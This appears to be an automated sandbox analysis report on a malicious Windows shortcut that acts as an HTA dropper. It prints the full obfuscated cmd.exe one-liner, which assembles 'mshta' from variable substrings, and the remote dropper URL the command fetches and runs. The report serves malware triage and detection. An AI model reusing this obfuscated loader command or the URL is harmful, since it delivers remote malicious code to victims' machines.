Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:23

General

  • Target
    DOC-PJOGDQ.lnk
  • Size 2KB
  • Sample260804-j98fsszzdv
  • SHA256 880002b389456e08f42ffb79236ecdd474b497c0732440769394774ada3dfcf0
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-PJOGDQ.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1288
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set UTNjM=winzbzbjqmpuowsfaxxmwin&&set iQhGY=oldnjaqcnold&&set FrddX=winihsykjnvbqtmoboxreareewin&&set ZssyB=cfgnhyrnqcfg&&set vrkU=2stapf&&set PT=s5rlnf&&set vly=1hzt87&&set BmyUQ=infwbywqaxqabhjainf&&set xi=bakpepbvhrbak&&set nMeB=sysdknhsqudcqsys&&set px=7xbmsbst&&set FQCs=hhtz9i&&set laM=fpas6p&&set dUdlM=h@tt@ps://ma@-p@df@f@i@ller@.@lat/@h/est@a@[email protected]@hp@?r=@391469FB5D82D@B&&start /b !px:~3,2!!FQCs:~1,2!!laM:~2,1! !dUdlM:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5408
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:2132

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads